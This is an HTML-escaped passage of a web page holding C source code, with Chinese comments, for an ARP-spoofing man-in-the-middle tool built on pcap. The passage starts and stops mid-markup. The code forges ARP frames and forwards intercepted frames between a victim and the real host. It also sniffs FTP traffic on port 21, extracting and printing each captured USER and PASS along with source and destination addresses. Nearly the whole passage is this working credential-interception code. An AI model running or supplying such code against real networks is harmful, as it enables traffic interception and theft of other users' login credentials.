style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Prot_Addr_Len=(unsigned&nbsp;char)4;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;HW_Type=htons((unsigned&nbsp;short)1);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Opcode=htons((unsigned&nbsp;short)op);&nbsp;&nbsp;&nbsp;\/\/01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Prot_Type=htons((unsigned&nbsp;short)0x0800);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">typedef&nbsp;struct<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u5b58\u653e\u55c5\u63a2\u5230\u7684\u6570\u636e<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;srcip[16];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;desip[16];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;username[50];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;password[50];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}&nbsp;Sniffer_Result;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">void&nbsp;FTP_Sniffer(char&nbsp;*Packet,int&nbsp;packetsize)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;Sniffer_Result&nbsp;result=&nbsp;{0};<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;IP&nbsp;*IPHeader=(IP&nbsp;*)Packet;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;TCP&nbsp;*TCPHeader=(TCP&nbsp;*)(Packet+sizeof(IP));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;*data=(char&nbsp;*)(Packet+sizeof(IP)+sizeof(TCP));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;Packet[packetsize-2]=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;*p=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(strlen(data)&gt;4&nbsp;&amp;&amp;&nbsp;(p=strstr(data,&#8221;USER&#8221;)))<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strlen(result.username)&lt;1)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(result.srcip,inet_ntoa(*(struct&nbsp;in_addr&nbsp;*)IPHeader-&gt;ip_src));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(result.desip,inet_ntoa(*(struct&nbsp;in_addr&nbsp;*)IPHeader-&gt;ip_dst));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(result.username,p+5);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(strlen(data)&gt;4&nbsp;&amp;&amp;&nbsp;(p=strstr(data,&#8221;PASS&#8221;)))<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strlen(result.username)&gt;0)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(result.password,p+5);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;FTP:\\n\u6765\u6e90\u5730\u5740:%s\\n\u76ee\u6807\u5730\u5740:%s\\nUSER:%s\\nPASS:%s\\n&#8221;,result.srcip,result.desip,\\<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result.username,result.password);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(&amp;result,NULL,sizeof(Sniffer_Result));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">DWORD&nbsp;WINAPI&nbsp;filter(PVOID&nbsp;Parameter)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;BOOL&nbsp;SendPacket(pcap_t&nbsp;*hpcap,char&nbsp;*Packet,int&nbsp;packetsize);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;PacketInfo&nbsp;PI=*(PacketInfo&nbsp;*)Parameter;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;*Packet=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if((Packet=(char&nbsp;*)malloc(PI.pkthdr.caplen*sizeof(char)))==NULL)&nbsp;return&nbsp;-1;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(Packet,*PI.Packet,PI.pkthdr.caplen);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;*PI.Packet=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;DLCHEADER&nbsp;*DLCHeader=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;IP&nbsp;*IPHeader=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;TCP&nbsp;*TCPHeader=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;DLCHeader=(DLCHEADER&nbsp;*)Packet;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;IPHeader=(IP&nbsp;*)(Packet+sizeof(DLCHEADER));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;TCPHeader=(TCP&nbsp;*)(Packet+sizeof(DLCHEADER)+sizeof(IP));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(!strncmp(DLCHeader-&gt;SrcMAC,PI.srcMAC,6)&nbsp;&amp;&amp;&nbsp;!strncmp(DLCHeader-&gt;DesMAC,PI.myMAC,6))<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(DLCHeader-&gt;DesMAC,PI.desMAC,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendPacket(PI.hpcap,Packet,PI.pkthdr.caplen);&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8f6c\u53d1\u6570\u636e\u5305<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u68c0\u6d4b\u5e27\u4e2d\u6570\u636e\u534f\u8bae\u7c7b\u578b<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(ntohs(DLCHeader-&gt;EtherType)==0x0800&nbsp;&amp;&amp;&nbsp;IPHeader-&gt;ip_p==0x06)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(ntohs(TCPHeader-&gt;dport)==21)&nbsp;FTP_Sniffer(IPHeader,PI.pkthdr.caplen-sizeof(DLCHEADER));&nbsp;&nbsp;&nbsp;\/\/\u6355\u83b7\u5230FTP\u6570\u636e\u5305<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;free(Packet);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">DWORD&nbsp;WINAPI&nbsp;Ether_Sniffer(PVOID&nbsp;Parameter)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;PacketInfo&nbsp;PI=*(PacketInfo&nbsp;*)Parameter;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_t&nbsp;*hpcap=PI.hpcap;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;pcap_pkthdr&nbsp;*pkthdr=NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;*recvBuff;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;HANDLE&nbsp;hFilterThread;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;while(TRUE)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(pcap_next_ex(hpcap,&amp;pkthdr,&amp;recvBuff)&gt;0)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PI.Packet=&amp;recvBuff;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PI.pkthdr=*pkthdr;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle((hFilterThread=CreateThread(NULL,0,filter,(PVOID)&amp;PI,0,NULL)));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(recvBuff);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span 